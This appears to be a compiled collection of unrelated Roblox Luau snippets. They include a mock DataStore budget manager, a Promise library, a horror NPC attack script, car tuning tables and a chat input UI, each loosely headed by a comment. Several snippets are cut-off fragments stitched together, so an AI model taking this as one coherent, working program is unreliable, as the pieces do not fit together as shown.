Budgets[Enum.DataStoreRequestType.GetAsync] = budget end if Budgets[requestType] then Budgets[requestType] = budget end end function MockDataStoreManager.ResetBudget() initBudget() end function MockDataStoreManager.FreezeBudgetUpdates() isFrozen = true end function MockDataStoreManager.ThawBudgetUpdates() isFrozen = false end function MockDataStoreManager.YieldForWriteLockAndBudget(callback, key, writeLock, writeCache, budget) assert(type(callback) == "function") assert(type(key) == "string") assert(type(writeLock) == "table") assert(type(writeCache) == "table") assert(#budget > 0) local mainRequestType = budget[1] if #budgetRequestQueues[mainRequestType] >= Constants.THROTTLE_QUEUE_SIZE then return false -- no room in throttle queue end callback() -- would i.e. trigger a warning in output table.insert(budgetRequestQueues[mainRequestType], 1, { Key = key; Lock = writeLock; Cache = writeCache; Thread = coroutine.running(); Budget = budget; }) coroutine.yield() return true end function MockDataStoreManager.YieldForBudget(callback, budget) assert(type(callback) == "function") assert(#budget > 0) local mainRequestType = budget[1] if checkBudget(budget) then stealBudget(budget) elseif #budgetRequestQueues[mainRequestType] >= Constants.THROTTLE_QUEUE_SIZE then return false -- no room in throttle queue else callback() -- would i.e. trigger a warning in output table.insert(budgetRequestQueues[mainRequestType], 1, { After = 0; -- no write lock Thread = coroutine.running(); Budget = budget; }) coroutine.yield() end return true end function MockDataStoreManager.ExportToJSON() local export = {} if next(Data.GlobalDataStore) ~= nil then -- GlobalDataStore not empty export.GlobalDataStore = Data.GlobalDataStore end export.DataStore = Utils.prepareDataStoresForExport(Data.DataStore) -- can be nil export.OrderedDataStore = Utils.prepareDataStoresForExport(Data.OrderedDataStore) -- can be nil return HttpService:JSONEncode(export) end
-- Bind function to update event. Used to update player's orientation if FilteringEnabled -- is true (otherwise the rotation would not replicate from the rotating player)
updateEvent.OnServerEvent:Connect(function(player, neckC0, shoulderC0) local character = player.Character if character.Humanoid.RigType == Enum.HumanoidRigType.R6 then character.Torso.Neck.C0 = neckC0 character.Torso:FindFirstChild("Right Shoulder").C0 = shoulderC0 else character.Head.Neck.C0 = neckC0 character.RightUpperArm:FindFirstChild("RightShoulder").C0 = shoulderC0 end end)
--s.Pitch = 0.7 --[[for x = 1, 50 do s.Pitch = s.Pitch + 0.20 1.900 s:play() wait(0.001) end]]
--Services
local RunService = game:GetService("RunService")
--[[ Creates a new promise that receives the result of this promise. The given callbacks are invoked depending on that result. ]]
function Promise.prototype:_andThen(traceback, successHandler, failureHandler) self._unhandledRejection = false -- If we are already cancelled, we return a cancelled Promise if self._status == Promise.Status.Cancelled then local promise = Promise.new(function() end) promise:cancel() return promise end -- Create a new promise to follow this part of the chain return Promise._new(traceback, function(resolve, reject, onCancel) -- Our default callbacks just pass values onto the next promise. -- This lets success and failure cascade correctly! local successCallback = resolve if successHandler then successCallback = createAdvancer(traceback, successHandler, resolve, reject) end local failureCallback = reject if failureHandler then failureCallback = createAdvancer(traceback, failureHandler, resolve, reject) end if self._status == Promise.Status.Started then -- If we haven't resolved yet, put ourselves into the queue table.insert(self._queuedResolve, successCallback) table.insert(self._queuedReject, failureCallback) onCancel(function() -- These are guaranteed to exist because the cancellation handler is guaranteed to only -- be called at most once if self._status == Promise.Status.Started then table.remove(self._queuedResolve, table.find(self._queuedResolve, successCallback)) table.remove(self._queuedReject, table.find(self._queuedReject, failureCallback)) end end) elseif self._status == Promise.Status.Resolved then -- This promise has already resolved! Trigger success immediately. successCallback(unpack(self._values, 1, self._valuesLength)) elseif self._status == Promise.Status.Rejected then -- This promise died a terrible death! Trigger failure immediately. failureCallback(unpack(self._values, 1, self._valuesLength)) end end, self) end
-- Services
local lighting = game:GetService("Lighting") local tweenService = game:GetService("TweenService")
--[[ Gets a list of all nodes in the tree for which the given callback returns true. ]]
function TestPlan:findNodes(callback) local results = {} self:visitAllNodes(function(node) if callback(node) then table.insert(results, node) end end) return results end return TestPlan
--// Animations
local L_165_ function IdleAnim(L_335_arg1) L_24_.IdleAnim(L_3_, L_165_, { L_45_, L_46_, L_47_ }); end; function EquipAnim(L_336_arg1) L_24_.EquipAnim(L_3_, L_165_, { L_45_ }); end; function UnequipAnim(L_337_arg1) L_24_.UnequipAnim(L_3_, L_165_, { L_45_ }); end; function FireModeAnim(L_338_arg1) L_24_.FireModeAnim(L_3_, L_165_, { L_45_, L_47_, L_46_, L_55_ }); end function ReloadAnim(L_339_arg1) L_24_.ReloadAnim(L_3_, L_165_, { L_45_, L_46_, L_47_, L_58_, L_3_:WaitForChild('Left Arm'), L_55_, L_49_, L_3_:WaitForChild('Right Arm'), L_43_ }); end; function BoltingBackAnim(L_340_arg1) L_24_.BoltingBackAnim(L_3_, L_165_, { L_49_ }); end function BoltingForwardAnim(L_341_arg1) L_24_.BoltingForwardAnim(L_3_, L_165_, { L_49_ }); end function BoltingForwardAnim(L_342_arg1) L_24_.BoltingForwardAnim(L_3_, L_165_, { L_49_ }); end function BoltBackAnim(L_343_arg1) L_24_.BoltBackAnim(L_3_, L_165_, { L_49_, L_47_, L_46_, L_45_, L_59_ }); end function BoltForwardAnim(L_344_arg1) L_24_.BoltForwardAnim(L_3_, L_165_, { L_49_, L_47_, L_46_, L_45_, L_59_ }); end function InspectAnim(L_345_arg1) L_24_.InspectAnim(L_3_, L_165_, { L_47_, L_46_ }); end function nadeReload(L_346_arg1) L_24_.nadeReload(L_3_, L_165_, { L_46_, L_47_ }); end function AttachAnim(L_347_arg1) L_24_.AttachAnim(L_3_, L_165_, { L_46_, L_47_ }); end function PatrolAnim(L_348_arg1) L_24_.PatrolAnim(L_3_, L_165_, { L_46_, L_47_ }); end
--After the coin is collected it won't emit particles when touched
part.Touched:Connect(function(hit) if hit.Parent:FindFirstChild("Humanoid") then local emitter = part.ParticleEmitter emitter.Enabled = false end end)script.Parent.Transparency = 0
-- Sub to me! https://www.youtube.com/channel/UCrG4Cnjcz1mkDopaqPGaW3A -- My discord! https://discord.gg/6x56rTZ5c8 -- Good luck!
local mouse = game.Players.LocalPlayer:GetMouse() function Light() local player = game.Players.LocalPlayer local playerChar = player.Character local playerLight = playerChar.Head:FindFirstChild("Light") if playerLight then playerLight:Destroy() else local light = Instance.new("SurfaceLight",playerChar:FindFirstChild("Head")) light.Name = "Light" light.Range = 60 -- Change lighting range / Изменение диапозона освещения light.Angle = 50 -- Change lighting angle / Изменение угла освещения light.Shadows = true light.Brigtness = 3 -- Change lighting brigtness / Изменение яркости освещения end end mouse.KeyDown:connect(function(key) key = key:lower() if key == "f" then script.FlashLightSound:Play() Light() end end)
--// SHITTY CODE \/\/\/
wait(0.3) local car = script.Parent.Car.Value local values = script.Parent.Values local bodmain = car.Body.MainDiff local rpm = values.RPM function update() local actrpm = rpm.Value/rpmdiv car.drivetrain:FireServer(actrpm,bodmain) end while wait(waittime) do update() end
--------------| MODIFY COMMANDS |--------------
SetCommandRankByName = { --["jump"] = "VIP"; }; SetCommandRankByTag = { ["abusive"] = "Admin"; }; };
--[[Transmission]]
Tune.TransModes = {"Auto"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.7 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 2.6 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 0.8 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--// Module LoadOrder List; Core modules need to be loaded in a specific order; If you create new "Core" modules make sure you add them here or they won't load
local LoadingOrder = { --// Nearly all modules rely on these to function "Logs"; "Variables"; "Functions"; --// Core functionality "Core"; "Remote"; "Process"; --// Misc "Admin"; "HTTP"; "Anti"; "Commands"; }
--Classes
export type SoundState = { Save: (SoundState) -> nil, Play: (SoundState) -> nil, Resume: (SoundState) -> nil, Pause: (SoundState) -> nil, Stop: (SoundState) -> nil, SetEffects: (SoundState, {[string]: {[string]: any}}) -> nil, StateValue: StringValue, } export type ClientSound = { Update: (ClientSound) -> nil, } return {}
-- Sounds
local Soundscape = game.Soundscape local ExitSound = Soundscape:FindFirstChild("ExitSound")
-- Listeners for inputs
IsOn.Changed:connect(ConfigWater) ShouldEmitSound.Changed:connect(ConfigWater) MaxVolume.Changed:connect(ConfigWater)
-- add the arms
table.insert(ArmPartsTable, Character:WaitForChild("Right Arm")) table.insert(ArmPartsTable, Character:WaitForChild("Left Arm"))
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]-- --[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]-- --[[end;]]
-- local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local AttackDebounce=false; local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife"); local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head"); local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart"); local WalkDebounce=false; local Notice=false; local JeffLaughDebounce=false; local MusicDebounce=false; local NoticeDebounce=false; local ChosenMusic; function FindNearestBae() local NoticeDistance=400; local TargetMain; for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart"); local FoundHumanoid; for _,Child in pairs(TargetModel:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then TargetMain=TargetPart; NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude; local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500) if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then Spawn(function() AttackDebounce=true; local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing")); local SwingChoice=math.random(1,2); local HitChoice=math.random(1,3); SwingAnimation:Play(); SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1)); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing"); SwingSound.Pitch=1+(math.random()*0.04); SwingSound:Play(); end; Wait(0.3); if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then FoundHumanoid:TakeDamage(5000); if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); end; end; Wait(0.1); AttackDebounce=false; end); end; end; end; end; end; return TargetMain; end; while Wait(0)do local TargetPoint=JeffTheKillerHumanoid.TargetPoint; local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller}) local Jumpable=false; if Blockage then Jumpable=true; if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then local BlockageHumanoid; for _,Child in pairs(Blockage.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then BlockageHumanoid=Child; end; end; if Blockage and Blockage:IsA("Terrain")then local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0))); local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z); if CellMaterial==Enum.CellMaterial.Water then Jumpable=false; end; elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then Jumpable=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then JeffTheKillerHumanoid.Jump=true; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then Spawn(function() WalkDebounce=true; local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0)); local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller); if RayTarget then local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone(); JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead; JeffTheKillerHeadFootStepClone:Play(); JeffTheKillerHeadFootStepClone:Destroy(); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then Wait(0.5); elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then Wait(0.2); end end; WalkDebounce=false; end); end; local MainTarget=FindNearestBae(); local FoundHumanoid; if MainTarget then for _,Child in pairs(MainTarget.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then JeffTheKillerHumanoid.Jump=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then if not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; end; end; if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then local MusicChoice=math.random(1,2); if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1"); elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2"); end; if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then ChosenMusic.Volume=0.5; ChosenMusic:Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then if not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; end; end; if not MainTarget and not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; if not MainTarget and not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; if MainTarget then Notice=true; if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play(); NoticeDebounce=true; end if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then JeffTheKillerHumanoid.WalkSpeed=40.50; elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then JeffTheKillerHumanoid.WalkSpeed=0.004; end; JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain")); end; else Notice=false; NoticeDebounce=false; local RandomWalk=math.random(1,150); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then JeffTheKillerHumanoid.WalkSpeed=12; if RandomWalk==1 then JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain")); end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.DisplayDistanceType="None"; JeffTheKillerHumanoid.HealthDisplayDistance=0; JeffTheKillerHumanoid.Name="ColdBloodedKiller"; JeffTheKillerHumanoid.NameDisplayDistance=0; JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion"; JeffTheKillerHumanoid.AutoJumpEnabled=true; JeffTheKillerHumanoid.AutoRotate=true; JeffTheKillerHumanoid.MaxHealth=1300; JeffTheKillerHumanoid.JumpPower=60; JeffTheKillerHumanoid.MaxSlopeAngle=89.9; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then JeffTheKillerHumanoid.AutoJumpEnabled=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then JeffTheKillerHumanoid.AutoRotate=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then JeffTheKillerHumanoid.PlatformStand=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then JeffTheKillerHumanoid.Sit=false; end; end;
--Tune
OverheatSpeed = .125 --How fast the car will overheat CoolingEfficiency = .075 --How fast the car will cool down RunningTemp = 85 --In degrees Fan = true --Cooling fan FanTemp = 105 --At what temperature the cooling fan will activate FanSpeed = .2 FanVolume = .25 BlowupTemp = 130 --At what temperature the engine will blow up
---------------------------------- ------------VARIABLES------------- ----------------------------------
User = nil Connector = game.Workspace:FindFirstChild("GlobalPianoConnector") if not Connector or not Connector:IsA("RemoteEvent") then error("The piano requires a RemoteEvent named GlobalPianoConnector to be in Workspace.") end
-- (EarthHelm Giver - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "EarthHelm" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(1, 0.4, 1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentForward = Vector3.new (-0, -0, -1) h.AttachmentPos = Vector3.new(0, -0.2, 0) h.AttachmentRight = Vector3.new (1, 0, 0) h.AttachmentUp = Vector3.new (0, 1, 0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
-- Services
local ContextActionService = game:GetService("ContextActionService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local GuiService = game:GetService("GuiService") local UserInputService = game:GetService("UserInputService")
-- ROBLOX deviation start: predefine functions
local comparePrimitive local compareObjects local getFormatOptions local getObjectsDifference
--None of this is mine...
script.Parent.Equipped:Connect(function() script.Parent.WAP.act:FireServer() end) script.Parent.Unequipped:Connect(function() script.Parent.WAP.dct:FireServer() end)
--[=[ Chains onto an existing Promise and returns a new Promise. :::warning Within the failure handler, you should never assume that the rejection value is a string. Some rejections within the Promise library are represented by [[Error]] objects. If you want to treat it as a string for debugging, you should call `tostring` on it first. ::: You can return a Promise from the success or failure handler and it will be chained onto. Calling `andThen` on a cancelled Promise returns a cancelled Promise. :::tip If the Promise returned by `andThen` is cancelled, `successHandler` and `failureHandler` will not run. To run code no matter what, use [Promise:finally]. ::: @param successHandler (...: any) -> ...any @param failureHandler? (...: any) -> ...any @return Promise<...any> ]=]
function Promise.prototype:andThen(successHandler, failureHandler) assert(successHandler == nil or isCallable(successHandler), string.format(ERROR_NON_FUNCTION, "Promise:andThen")) assert(failureHandler == nil or isCallable(failureHandler), string.format(ERROR_NON_FUNCTION, "Promise:andThen")) return self:_andThen(debug.traceback(nil, 2), successHandler, failureHandler) end
-- Basic settings
local MAX_SPAM_SCORE = 5 local plr = game.Players.LocalPlayer local tweenService = game:GetService("TweenService") local inputService = game:GetService("UserInputService") local defaultMsg = "To chat navigate here and click" local previousText = script.Parent.TypeArea.Text local size = 1 local tweenInProgress = false local spamScore = 0 function tweenToVisible() -- Tween transparencies local goal1 = { BackgroundTransparency = 0.6 } local goal2 = { TextTransparency = 0.3 } tweenService:Create(script.Parent, TweenInfo.new(0.35, Enum.EasingStyle.Linear), goal1):Play() tweenService:Create(script.Parent.WhiteArea, TweenInfo.new(0.5, Enum.EasingStyle.Linear), goal1):Play() tweenService:Create(script.Parent.TypeArea, TweenInfo.new(0.5, Enum.EasingStyle.Linear), goal2):Play() end function tweenToInvisible() -- Tween transparencies local goal1 = { BackgroundTransparency = 0.8 } local goal2 = { TextTransparency = 0.65 } tweenService:Create(script.Parent, TweenInfo.new(0.35, Enum.EasingStyle.Linear), goal1):Play() tweenService:Create(script.Parent.WhiteArea, TweenInfo.new(0.5, Enum.EasingStyle.Linear), goal1):Play() tweenService:Create(script.Parent.TypeArea, TweenInfo.new(0.5, Enum.EasingStyle.Linear), goal2):Play() end function tweenToTripleSize() -- Tween size tweenInProgress = true local goal = { Size = UDim2.new(0.5, -230 , 0, 72) } local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal) tween.Completed:connect(function() tweenInProgress = false end) tween:Play() end function tweenToDoubleSize() -- Tween size tweenInProgress = true local goal = { Size = UDim2.new(0.5, -230 , 0, 56) } local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal) tween.Completed:connect(function() tweenInProgress = false end) tween:Play() end function tweenToNormalSize() -- Tween size tweenInProgress = true local goal = { Size = UDim2.new(0.5, -230 , 0, 40) } local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal) tween.Completed:connect(function() tweenInProgress = false end) tween:Play() end script.Parent.TypeArea.Focused:connect(function() -- Reset text if default if script.Parent.TypeArea.Text == defaultMsg then script.Parent.TypeArea.Text = "" end -- Make more visible tweenToVisible() end) script.Parent.TypeArea.FocusLost:connect(function(enterPressed) -- Check if enter was pressed if enterPressed then -- Clear spaces at beginning local msg = script.Parent.TypeArea.Text for i=1, string.len(script.Parent.TypeArea.Text) do if string.sub(script.Parent.TypeArea.Text, i, i) == ' ' and i < string.len(script.Parent.TypeArea.Text) then msg = string.sub(script.Parent.TypeArea.Text, i + 1, string.len(script.Parent.TypeArea.Text)) else if string.sub(script.Parent.TypeArea.Text, i, i) == ' ' then msg = "" end break end end -- Clear spaces at end if msg ~= "" then local prevMsg = msg for i=string.len(prevMsg), 1, -1 do if string.sub(prevMsg, i, i) == ' ' and i > 1 then msg = string.sub(prevMsg, 1, i - 1) else if string.sub(prevMsg, i, i) == ' ' then msg = "" end break end end end -- Send message if not blank if msg ~= "" and spamScore <= MAX_SPAM_SCORE then game.ReplicatedStorage.Interactions.Server.SendChatMessage:FireServer(msg) spamScore = spamScore + 2 elseif msg ~= "" and spamScore > MAX_SPAM_SCORE then plr.PlayerGui.MainGui.Chat.ShowChatMessage:Fire(nil, "You are chatting too quickly. You can chat again in " .. spamScore - MAX_SPAM_SCORE .. " seconds.") end -- Clear set text to default text script.Parent.TypeArea.Text = defaultMsg else -- Set to default if blank if script.Parent.TypeArea.Text == "" then script.Parent.TypeArea.Text = defaultMsg end end -- Make less visible tweenToInvisible() end) script.Parent.TypeArea:GetPropertyChangedSignal("Text"):connect(function() -- Check if went out of bounds if not tweenInProgress then if not script.Parent.TypeArea.TextFits and size == 1 then tweenToDoubleSize() size = 2 elseif not script.Parent.TypeArea.TextFits and size == 2 then tweenToTripleSize() size = 3 elseif not script.Parent.TypeArea.TextFits and size == 3 then script.Parent.TypeArea.Text = previousText elseif size > 2 and script.Parent.TypeArea.TextBounds.Y == 32 then tweenToDoubleSize() size = 2 elseif size > 1 and script.Parent.TypeArea.TextBounds.Y == 16 then tweenToNormalSize() size = 1 end 